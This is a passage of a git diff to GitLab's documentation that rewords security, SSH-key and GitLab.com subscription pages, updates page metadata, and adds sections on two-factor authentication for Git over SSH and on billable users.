the ability to steal a users IP address by referencing images in issues, comments, etc.
For example, adding `![Example image](http://example.com/example.png)` to
-an issue description will cause the image to be loaded from the external
+an issue description causes the image to be loaded from the external
server in order to be displayed. However, this also allows the external server
to log the IP address of the user.
@@ -51,7 +51,7 @@ To install a Camo server as an asset proxy:
| `asset_proxy_enabled` | Enable proxying of assets. If enabled, requires: `asset_proxy_url`). |
| `asset_proxy_secret_key` | Shared secret with the asset proxy server. |
| `asset_proxy_url` | URL of the asset proxy server. |
- | `asset_proxy_whitelist` | Assets that match these domain(s) will NOT be proxied. Wildcards allowed. Your GitLab installation URL is automatically whitelisted. |
+ | `asset_proxy_whitelist` | Assets that match these domain(s) are NOT proxied. Wildcards allowed. Your GitLab installation URL is automatically whitelisted. |
1. Restart the server for the changes to take effect. Each time you change any values for the asset
proxy, you need to restart the server.
@@ -59,7 +59,7 @@ To install a Camo server as an asset proxy:
## Using the Camo server
Once the Camo server is running and you've enabled the GitLab settings, any image, video, or audio that
-references an external source will get proxied to the Camo server.
+references an external source are proxied to the Camo server.
For example, the following is a link to an image in Markdown:
diff --git a/doc/security/cicd_environment_variables.md b/doc/security/cicd_environment_variables.md
index b8fe14e2d3b..4d60df8e531 100644
--- a/doc/security/cicd_environment_variables.md
+++ b/doc/security/cicd_environment_variables.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# CI/CD Environment Variables
diff --git a/doc/security/crime_vulnerability.md b/doc/security/crime_vulnerability.md
index 4571f0051d8..c5f8afe36ad 100644
--- a/doc/security/crime_vulnerability.md
+++ b/doc/security/crime_vulnerability.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
diff --git a/doc/security/information_exclusivity.md b/doc/security/information_exclusivity.md
index a8c4a4e878e..a2571895e45 100644
--- a/doc/security/information_exclusivity.md
+++ b/doc/security/information_exclusivity.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: concepts
---
diff --git a/doc/security/password_length_limits.md b/doc/security/password_length_limits.md
index b8d329ab342..05ddb0a2823 100644
--- a/doc/security/password_length_limits.md
+++ b/doc/security/password_length_limits.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Manage
+group: Access
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
diff --git a/doc/security/password_storage.md b/doc/security/password_storage.md
index ca4d350dc06..ca39defe6b9 100644
--- a/doc/security/password_storage.md
+++ b/doc/security/password_storage.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
diff --git a/doc/security/passwords_for_integrated_authentication_methods.md b/doc/security/passwords_for_integrated_authentication_methods.md
index 4872f26a0ad..9b1664f0e8c 100644
--- a/doc/security/passwords_for_integrated_authentication_methods.md
+++ b/doc/security/passwords_for_integrated_authentication_methods.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Manage
+group: Access
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
diff --git a/doc/security/project_import_decompressed_archive_size_limits.md b/doc/security/project_import_decompressed_archive_size_limits.md
index 9e50290afcc..e37191d842f 100644
--- a/doc/security/project_import_decompressed_archive_size_limits.md
+++ b/doc/security/project_import_decompressed_archive_size_limits.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
diff --git a/doc/security/rack_attack.md b/doc/security/rack_attack.md
index a84ecc8e47d..f159b4f8e21 100644
--- a/doc/security/rack_attack.md
+++ b/doc/security/rack_attack.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
@@ -19,12 +19,12 @@ tracking.
For more information on how to use these options see the [Rack Attack README](https://github.com/kickstarter/rack-attack/blob/master/README.md).
-NOTE: **Note:**
+NOTE:
See
[User and IP rate limits](../user/admin_area/settings/user_and_ip_rate_limits.md)
for simpler limits that are configured in the UI.
-NOTE: **Note:**
+NOTE:
Starting with GitLab 11.2, Rack Attack is disabled by default. If your
instance is not exposed to the public internet, it is recommended that you leave
Rack Attack disabled.
@@ -32,10 +32,10 @@ Rack Attack disabled.
## Behavior
If set up as described in the [Settings](#settings) section below, two behaviors
-will be enabled:
+are enabled:
-- Protected paths will be throttled.
-- Failed authentications for Git and container registry requests will trigger a temporary IP ban.
+- Protected paths are throttled.
+- Failed authentications for Git and container registry requests trigger a temporary IP ban.
### Protected paths throttle
@@ -119,7 +119,7 @@ The following settings can be configured:
specified time.
- `findtime`: The maximum amount of time that failed requests can count against an IP
before it's blacklisted (in seconds).
-- `bantime`: The total amount of time that a blacklisted IP will be blocked (in
+- `bantime`: The total amount of time that a blacklisted IP is blocked (in
seconds).
**Installations from source**
@@ -142,8 +142,8 @@ taken in order to enable protection for your GitLab instance:
If you want more restrictive/relaxed throttle rules, edit
`config/initializers/rack_attack.rb` and change the `limit` or `period` values.
-For example, more relaxed throttle rules will be if you set
-`limit: 3` and `period: 1.seconds` (this will allow 3 requests per second).
+For example, you can set more relaxed throttle rules with
+`limit: 3` and `period: 1.seconds`, allowing 3 requests per second.
You can also add other paths to the protected list by adding to `paths_to_be_protected`
variable. If you change any of these settings you must restart your
GitLab instance.
@@ -185,10 +185,10 @@ In case you want to remove a blocked IP, follow these steps:
### Rack attack is blacklisting the load balancer
Rack Attack may block your load balancer if all traffic appears to come from
-the load balancer. In that case, you will need to:
+the load balancer. In that case, you must:
1. [Configure `nginx[real_ip_trusted_addresses]`](https://docs.gitlab.com/omnibus/settings/nginx.html#configuring-gitlab-trusted_proxies-and-the-nginx-real_ip-module).
- This will keep users' IPs from being listed as the load balancer IPs.
+ This keeps users' IPs from being listed as the load balancer IPs.
1. Whitelist the load balancer's IP address(es) in the Rack Attack [settings](#settings).
1. Reconfigure GitLab:
diff --git a/doc/security/rate_limits.md b/doc/security/rate_limits.md
index 94cc446c804..500ec057102 100644
--- a/doc/security/rate_limits.md
+++ b/doc/security/rate_limits.md
@@ -1,13 +1,13 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
# Rate limits
-NOTE: **Note:**
+NOTE:
For GitLab.com, please see
[GitLab.com-specific rate limits](../user/gitlab_com/index.md#gitlabcom-specific-rate-limits).
diff --git a/doc/security/reset_user_password.md b/doc/security/reset_user_password.md
index 66e11587e96..fc808452736 100644
--- a/doc/security/reset_user_password.md
+++ b/doc/security/reset_user_password.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Manage
+group: Access
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -58,7 +58,7 @@ user.save!
Exit the console, and then try to sign in with your new password.
-NOTE: **Note:**
+NOTE:
You can also reset passwords by using the [Users API](../api/users.md#user-modification).
### Reset your root password
diff --git a/doc/security/ssh_keys_restrictions.md b/doc/security/ssh_keys_restrictions.md
index 903a28136ad..102ba1fc370 100644
--- a/doc/security/ssh_keys_restrictions.md
+++ b/doc/security/ssh_keys_restrictions.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Restrict allowed SSH key technologies and minimum length
diff --git a/doc/security/two_factor_authentication.md b/doc/security/two_factor_authentication.md
index 27cc2474b8a..4911cf63489 100644
--- a/doc/security/two_factor_authentication.md
+++ b/doc/security/two_factor_authentication.md
@@ -2,7 +2,7 @@
type: howto
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Enforce Two-factor Authentication (2FA)
@@ -72,7 +72,7 @@ The following are important notes about 2FA:
## Disabling 2FA for everyone
-CAUTION: **Caution:**
+WARNING:
Disabling 2FA for everyone does not disable the [enforce 2FA for all users](#enforcing-2fa-for-all-users)
or [enforce 2FA for all users in a group](#enforcing-2fa-for-all-users-in-a-group)
settings. In addition to the steps in this section, you will need to disable any enforced 2FA
@@ -94,7 +94,7 @@ sudo gitlab-rake gitlab:two_factor:disable_for_all_users
sudo -u git -H bundle exec rake gitlab:two_factor:disable_for_all_users RAILS_ENV=production
```
-CAUTION: **Caution:**
+WARNING:
This is a permanent and irreversible action. Users will have to
reactivate 2FA from scratch if they want to use it again.
@@ -109,3 +109,43 @@ questions that you know someone might ask.
Each scenario can be a third-level heading, e.g. `### Getting error message X`.
If you have none to add when creating a doc, leave this section in place
but commented out to help encourage others to add to it in the future. -->
+
+## Two-factor Authentication (2FA) for Git over SSH operations
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/270554) in GitLab 13.7.
+> - It's [deployed behind a feature flag](../user/feature_flags.md), disabled by default.
+> - It's disabled on GitLab.com.
+> - It's not recommended for production use.
+> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-two-factor-authentication-2fa-for-git-operations).
+
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
+
+Two-factor authentication can be enforced for Git over SSH operations. The OTP
+verification can be done via a GitLab Shell command:
+
+```shell
+ssh git@<hostname> 2fa_verify
+```
+
+Once the OTP is verified, Git over SSH operations can be used for 15 minutes
+with the associated SSH key.
+
+### Enable or disable Two-factor Authentication (2FA) for Git operations
+
+Two-factor Authentication (2FA) for Git operations is under development and not
+ready for production use. It is deployed behind a feature flag that is
+**disabled by default**. [GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:two_factor_for_cli)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:two_factor_for_cli)
+```
diff --git a/doc/security/unlock_user.md b/doc/security/unlock_user.md
index 4013bfb7cae..2a26b71071b 100644
--- a/doc/security/unlock_user.md
+++ b/doc/security/unlock_user.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
diff --git a/doc/security/user_email_confirmation.md b/doc/security/user_email_confirmation.md
index 6260c76bff9..cf7cb0ea4cb 100644
--- a/doc/security/user_email_confirmation.md
+++ b/doc/security/user_email_confirmation.md
@@ -2,7 +2,7 @@
type: howto
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# User email confirmation at sign-up
diff --git a/doc/security/user_file_uploads.md b/doc/security/user_file_uploads.md
index 662e115d1ed..bce2aeb88b4 100644
--- a/doc/security/user_file_uploads.md
+++ b/doc/security/user_file_uploads.md
@@ -2,7 +2,7 @@
type: reference
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# User File Uploads
@@ -18,7 +18,7 @@ notification emails, which are often read from email clients that are not
authenticated with GitLab, such as Outlook, Apple Mail, or the Mail app on your
mobile device.
-NOTE: **Note:**
+NOTE:
Non-image attachments do require authentication to be viewed.
<!-- ## Troubleshooting
diff --git a/doc/security/webhooks.md b/doc/security/webhooks.md
index 2e2fb093916..0bb8e90d38f 100644
--- a/doc/security/webhooks.md
+++ b/doc/security/webhooks.md
@@ -1,13 +1,13 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: concepts, reference, howto
---
# Webhooks and insecure internal web services
-NOTE: **Note:**
+NOTE:
On GitLab.com, the [maximum number of webhooks and their size](../user/gitlab_com/index.md#webhooks) per project, and per group, is limited.
If you have non-GitLab web services running on your GitLab server or within its
@@ -40,9 +40,9 @@ to endpoints like `http://localhost:123/some-resource/delete`.
To prevent this type of exploitation from happening, starting with GitLab 10.6,
all Webhook requests to the current GitLab instance server address and/or in a
-private network will be forbidden by default. That means that all requests made
+private network are forbidden by default. That means that all requests made
to `127.0.0.1`, `::1` and `0.0.0.0`, as well as IPv4 `10.0.0.0/8`, `172.16.0.0/12`,
-`192.168.0.0/16` and IPv6 site-local (`ffc0::/10`) addresses won't be allowed.
+`192.168.0.0/16` and IPv6 site-local (`ffc0::/10`) addresses aren't allowed.
This behavior can be overridden by enabling the option *"Allow requests to the
local network from web hooks and services"* in the *"Outbound requests"* section
@@ -50,7 +50,7 @@ inside the **Admin Area > Settings** (`/admin/application_settings/network`):
![Outbound requests admin settings](img/outbound_requests_section_v12_2.png)
-NOTE: **Note:**
+NOTE:
*System hooks* are enabled to make requests to local network by default since they are
set up by administrators. However, you can turn this off by disabling the
**Allow requests to the local network from system hooks** option.
@@ -75,9 +75,9 @@ The allowlist can hold a maximum of 1000 entries. Each entry can be a maximum of
255 characters.
You can allow a particular port by specifying it in the allowlist entry.
-For example `127.0.0.1:8080` will only allow connections to port 8080 on `127.0.0.1`.
+For example `127.0.0.1:8080` only allows connections to port 8080 on `127.0.0.1`.
If no port is mentioned, all ports on that IP/domain are allowed. An IP range
-will allow all ports on all IPs in that range.
+allows all ports on all IPs in that range.
Example:
@@ -90,7 +90,7 @@ example.com;gitlab.example.com
example.com:8080
```
-NOTE: **Note:**
+NOTE:
Wildcards (`*.example.com`) are not currently supported.
<!-- ## Troubleshooting
diff --git a/doc/ssh/README.md b/doc/ssh/README.md
index 9d851edb688..f34e38fb7ca 100644
--- a/doc/ssh/README.md
+++ b/doc/ssh/README.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Access
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: howto, reference
---
@@ -44,7 +44,7 @@ GitLab supports the use of RSA, DSA, ECDSA, and ED25519 keys.
- GitLab has [deprecated](https://about.gitlab.com/releases/2018/06/22/gitlab-11-0-released/#support-for-dsa-ssh-keys) DSA keys in GitLab 11.0.
- As noted in [Practical Cryptography With Go](https://leanpub.com/gocrypto/read#leanpub-auto-ecdsa), the security issues related to DSA also apply to ECDSA.
-TIP: **Tip:**
+NOTE:
Available documentation suggests that ED25519 is more secure. If you use an RSA key, the US National Institute of Science and Technology in [Publication 800-57 Part 3 (PDF)](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf) recommends a key size of at least 2048 bits.
Therefore, our documentation focuses on the use of ED25519 and RSA keys.
@@ -121,7 +121,7 @@ Enter file in which to save the key (/home/user/.ssh/id_rsa):
For guidance, proceed to the [common steps](#common-steps-for-generating-an-ssh-key-pair).
-NOTE: **Note:**
+NOTE:
If you have OpenSSH version 7.8 or below, consider the problems associated
with [encoding](#rsa-keys-and-openssh-from-versions-65-to-78).
@@ -183,7 +183,7 @@ the following command:
ssh-keygen -o -t rsa -b 4096 -C "email@example.com"
```
-NOTE: **Note:**
+NOTE:
As noted in the `ssh-keygen` man page, ED25519 already encrypts keys to the more secure
OpenSSH format.
@@ -215,7 +215,7 @@ Now you can copy the SSH key you created to your GitLab account. To do so, follo
If you're using an RSA key, substitute accordingly.
-1. Navigate to `https://gitlab.com` and sign in.
+1. Navigate to `https://gitlab.com` or your local GitLab instance URL and sign in.
1. Select your avatar in the upper right corner, and click **Settings**
1. Click **SSH Keys**.
1. Paste the public key that you copied into the **Key** text box.
@@ -228,14 +228,20 @@ SSH keys that have "expired" using this procedure are valid in GitLab workflows.
As the GitLab-configured expiration date is not included in the SSH key itself,
you can still export public SSH keys as needed.
-NOTE: **Note:**
+NOTE:
If you manually copied your public SSH key make sure you copied the entire
key starting with `ssh-ed25519` (or `ssh-rsa`) and ending with your email address.
+## Two-factor Authentication (2FA)
+
+You can set up two-factor authentication (2FA) for
+[Git over SSH](../security/two_factor_authentication.md#two-factor-authentication-2fa-for-git-over-ssh-operations).
+
## Testing that everything is set up correctly
-To test whether your SSH key was added correctly, run the following command in
-your terminal (replacing `gitlab.com` with your GitLab's instance domain):
+To test whether your SSH key was added correctly, run the following
+command in your terminal (replace `gitlab.com` with the domain of
+your GitLab instance):
```shell
ssh -T git@gitlab.com
@@ -253,15 +259,15 @@ Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'gitlab.com' (ECDSA) to the list of known hosts.
```
-NOTE: **Note:**
+NOTE:
For GitLab.com, consult the
[SSH host keys fingerprints](../user/gitlab_com/index.md#ssh-host-keys-fingerprints),
section to make sure you're connecting to the correct server. For example, you can see
the ECDSA key fingerprint shown above in the linked section.
Once added to the list of known hosts, you should validate the
-authenticity of GitLab's host again. Run the above command once more, and
-you should only receive a _Welcome to GitLab, `@username`!_ message.
+authenticity of the GitLab host, once again. Run the above command
+again, and you should receive a _Welcome to GitLab, `@username`!_ message.
If the welcome message doesn't appear, you can troubleshoot the problem by running `ssh`
in verbose mode with the following command:
@@ -324,7 +330,7 @@ due to how SSH assembles `IdentityFile` entries and is not changed by
setting `IdentitiesOnly` to `yes`. `IdentityFile` entries should point to
the private key of an SSH key pair.
-NOTE: **Note:**
+NOTE:
Private and public keys should be readable by the user only. Accomplish this
on Linux and macOS by running: `chmod 0400 ~/.ssh/<example_ssh_key>` and
`chmod 0400 ~/.ssh/<example_sh_key.pub>`.
@@ -343,7 +349,7 @@ Host <user_2.gitlab.com>
IdentityFile ~/.ssh/<example_ssh_key2>
```
-NOTE: **Note:**
+NOTE:
The example `Host` aliases are defined as `user_1.gitlab.com` and
`user_2.gitlab.com` for efficiency and transparency. Advanced configurations
are more difficult to maintain; using this type of alias makes it easier to
diff --git a/doc/subscriptions/gitlab_com/index.md b/doc/subscriptions/gitlab_com/index.md
index a03c8e758de..7dd08da74f9 100644
--- a/doc/subscriptions/gitlab_com/index.md
+++ b/doc/subscriptions/gitlab_com/index.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: fulfillment
+group: fulfillment
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: index, reference
---
@@ -11,7 +11,7 @@ GitLab.com is GitLab Inc.'s software-as-a-service offering. You don't need to
install anything to use GitLab.com, you only need to
[sign up](https://gitlab.com/users/sign_up) and start using GitLab straight away.
-In this page we'll go through the details of your GitLab.com subscription.
+This page reviews the details of your GitLab.com subscription.
## Choose a GitLab.com group or personal subscription
@@ -20,10 +20,12 @@ On GitLab.com you can apply a subscription to either a group or a personal names
When applied to:
- A **group**, the group, all subgroups, and all projects under the selected
- group on GitLab.com will have the features of the associated tier. GitLab recommends
+ group on GitLab.com contains the features of the associated tier. GitLab recommends
choosing a group plan when managing an organization's projects and users.
-- A **personal userspace**, all projects will have features with the
- subscription applied, but as it's not a group, group features won't be available.
+- A **personal userspace**, all projects contain features with the
+ subscription applied, but as it's not a group, group features aren't available.
+
+You can read more about [common misconceptions](https://about.gitlab.com/handbook/marketing/strategic-marketing/enablement/dotcom-subscriptions/#common-misconceptions) regarding a GitLab.com subscription to help avoid issues.
## Choose a GitLab.com tier
@@ -34,19 +36,19 @@ at each tier, see the
## Choose the number of users
-NOTE: **Note:**
+NOTE:
Applied only to groups.
A GitLab.com subscription uses a concurrent (_seat_) model. You pay for a
subscription according to the maximum number of users enabled at once. You can
add and remove users during the subscription period, as long as the total users
-at any given time is within your subscription count.
+at any given time doesn't exceed the subscription count.
Every occupied seat is counted in the subscription, with the following exception:
- Members with Guest permissions on a Gold subscription.
-TIP: **Tip:**
+NOTE:
To support the open source community and encourage the development of open
source projects, GitLab grants access to **Gold** features for all GitLab.com
**public** projects, regardless of the subscription.
@@ -64,7 +66,7 @@ To subscribe to GitLab.com:
[Customers Portal](https://customers.gitlab.com/).
1. Link your GitLab.com account with your Customers Portal account.
Once a plan has been selected, if your account is not
- already linked, you will be prompted to link your account with a
+ already linked, GitLab prompts you to link your account with a
**Sign in to GitLab.com** button.
1. Select the namespace from the drop-down list to associate the subscription.
1. Proceed to checkout.
@@ -81,12 +83,12 @@ To subscribe to GitLab.com:
[Customers Portal](https://customers.gitlab.com/).
1. Link your GitLab.com account with your Customers Portal account.
Once a plan has been selected, if your account is not
- already linked, you will be prompted to link your account with a
+ already linked, GitLab prompts you to link your account with a
**Sign in to GitLab.com** button.
1. Select the namespace from the drop-down list to associate the subscription.
1. Proceed to checkout.
-TIP: **Tip:**
+NOTE:
You can also go to the [**My Account**](https://customers.gitlab.com/customers/edit)
page to add or change the GitLab.com account link.
@@ -97,9 +99,9 @@ to the **Billing** section of the relevant namespace:
- **For individuals**: Visit the [billing page](https://gitlab.com/profile/billings)
under your profile.
-- **For groups**: From the group page (*not* from a project within the group), go to **Settings > Billing**.
+- **For groups**: From the group page (*not* from a project in the group), go to **Settings > Billing**.
- NOTE: **Note:**
+ NOTE:
You must have Owner level [permissions](../../user/permissions.md) to view a group's billing page.
The following table describes details of your subscription for groups:
@@ -107,11 +109,12 @@ to the **Billing** section of the relevant namespace:
| Field | Description |
|-------------------------|-----------------------------------------------------------------------------------------------------------------------------------------|
| **Seats in subscription** | If this is a paid plan, represents the number of seats you've paid to support in your group. |
- | **Seats currently in use** | Number of active seats currently in use. |
+ | **Seats currently in use** | Number of seats in use. |
| **Max seats used** | Highest number of seats you've used. If this exceeds the seats in subscription, you may owe an additional fee for the additional users. |
- | **Seats owed** | If your maximum seats used exceeds the seats in your subscription, you'll owe an additional fee for the users you've added. |
+ | **Seats owed** | If your maximum seats used exceeds the seats in your subscription, you owe an additional fee for the users you've added. |
| **Subscription start date** | Date your subscription started. If this is for a Free plan, is the date you transitioned off your group's paid plan. |
- | **Subscription end date** | Date your current subscription will end. Does not apply to Free plans. |
+ | **Subscription end date** | Date your current subscription ends. Does not apply to Free plans. |
+ | **Billable users list** | List of users that belong to your group subscription. Does not apply to Free plans. |
## Renew your GitLab.com subscription
@@ -129,15 +132,15 @@ log in and verify or update:
- The invoice contact details on the **Account details** page.
- The credit card on file on the **Payment Methods** page.
-TIP: **Tip:**
+NOTE:
Contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293)
if you need assistance accessing the Customers Portal or if you need to change
the contact person who manages your subscription.
It's important to regularly review your user accounts, because:
-- A GitLab subscription is based on the number of users. You will pay more than
- you should if you renew for too many users, while the renewal will fail if you
+- A GitLab subscription is based on the number of users. You could pay more than
+ you should if you renew for too many users, while the renewal fails if you
attempt to renew a subscription for too few users.
- Stale user accounts can be a security risk. A regular review helps reduce this risk.
@@ -146,7 +149,7 @@ It's important to regularly review your user accounts, because:
A GitLab subscription is valid for a specific number of users. For details, see
[Choose the number of users](#choose-the-number-of-users).
-If the active user count exceeds the number included in the subscription, known
+If the number of [billable users](#view-your-gitlabcom-subscription) exceeds the number included in the subscription, known
as the number of _users over license_, you must pay for the excess number of
users either before renewal, or at the time of renewal. This is also known the
_true up_ process.
@@ -172,8 +175,8 @@ previous period), log in to the [Customers Portal](https://customers.gitlab.com/
- If you see **Cancel subscription**, your subscription is set to automatically
renew at the end of the subscription period. Click it to cancel automatic renewal.
-With automatic renewal enabled, the subscription will automatically renew on the
-expiration date and there will be no gap in available service. An invoice will be
+With automatic renewal enabled, the subscription automatically renews on the
+expiration date without a gap in available service. An invoice is
generated for the renewal and available for viewing or download in the
[View invoices](https://customers.gitlab.com/receipts) page. If you have difficulty
during the renewal process, contact our
@@ -193,10 +196,10 @@ To add users to a subscription:
1. Enter the number of additional users.
1. Select **Proceed to checkout**.
1. Review the **Subscription Upgrade Detail**. The system lists the total price for all users on the
- system and a credit for what you've already paid. You will only be charged for the net change.
+ system and a credit for what you've already paid. You are only be charged for the net change.
1. Select **Confirm Upgrade**.
-The following will be emailed to you:
+The following is emailed to you:
- A payment receipt. You can also access this information in the Customers Portal under
[**View invoices**](https://customers.gitlab.com/receipts).
@@ -215,6 +218,10 @@ To upgrade your [GitLab tier](https://about.gitlab.com/pricing/):
When the purchase has been processed, you receive confirmation of your new subscription tier.
+## See your billable users list
+
+To see a list of your billable users on your GitLab group page go to **Settings > Billing**. This page provides information about your subscription and occupied seats for your group which is the list of billable users for your particular group.
+
## Subscription expiry
When your subscription or trial expires, GitLab does not delete your data, but
@@ -222,12 +229,12 @@ it may become inaccessible, depending on the tier at expiry. Some features may n
behave as expected if you're not prepared for the expiry. For example,
[environment specific variables not being passed](https://gitlab.com/gitlab-org/gitlab/-/issues/24759).
-If you renew or upgrade, your data will again be accessible.
+If you renew or upgrade, your data is accessible again.
## CI pipeline minutes
CI pipeline minutes are the execution time for your
-[pipelines](../../ci/pipelines/index.md) on GitLab's shared runners. Each
+[pipelines](../../ci/pipelines/index.md) on GitLab shared runners. Each
[GitLab.com tier](https://about.gitlab.com/pricing/) includes a monthly quota
of CI pipeline minutes:
@@ -258,19 +265,19 @@ Your own runners can still be used even if you reach your limits.
### Purchase additional CI minutes
If you're using GitLab.com, you can purchase additional CI minutes so your
-pipelines won't be blocked after you have used all your CI minutes from your
+pipelines aren't blocked after you have used all your CI minutes from your
main quota. You can find pricing for additional CI/CD minutes in the
[GitLab Customers Portal](https://customers.gitlab.com/plans). Additional minutes:
-- Are only used once the shared quota included in your subscription runs out.
+- Are only used after the shared quota included in your subscription runs out.
- Roll over month to month.
To purchase additional minutes for your group on GitLab.com:
1. From your group, go to **Settings > Usage Quotas**.
-1. Select **Buy additional minutes** and you will be directed to the Customers Portal.
+1. Select **Buy additional minutes** and GitLab directs you to the Customers Portal.
1. Locate the subscription card that's linked to your group on GitLab.com, click **Buy more CI minutes**, and complete the details about the transaction.
-1. Once we have processed your payment, the extra CI minutes will be synced to your group namespace.
+1. Once we have processed your payment, the extra CI minutes are synced to your group namespace.
1. To confirm the available CI minutes, go to your group, then **Settings > Usage Quotas**.
The **Additional minutes** displayed now includes the purchased additional CI minutes, plus any minutes rolled over from last month.
@@ -278,8 +285,8 @@ To purchase additional minutes for your group on GitLab.com:
To purchase additional minutes for your personal namespace:
1. Click your avatar, then go to **Settings > Usage Quotas**.
-1. Select **Buy additional minutes** and you will be directed to the Customers Portal.
-1. Locate the subscription card that's linked to your personal namespace on GitLab.com, click **Buy more CI minutes**, and complete the details about the transaction. Once we have processed your payment, the extra CI minutes will be synced to your personal namespace.
+1. Select **Buy additional minutes** and GitLab redirects you to the Customers Portal.
+1. Locate the subscription card that's linked to your personal namespace on GitLab.com, click **Buy more CI minutes**, and complete the details about the transaction. Once we have processed your payment, the extra CI minutes are synced to your personal namespace.
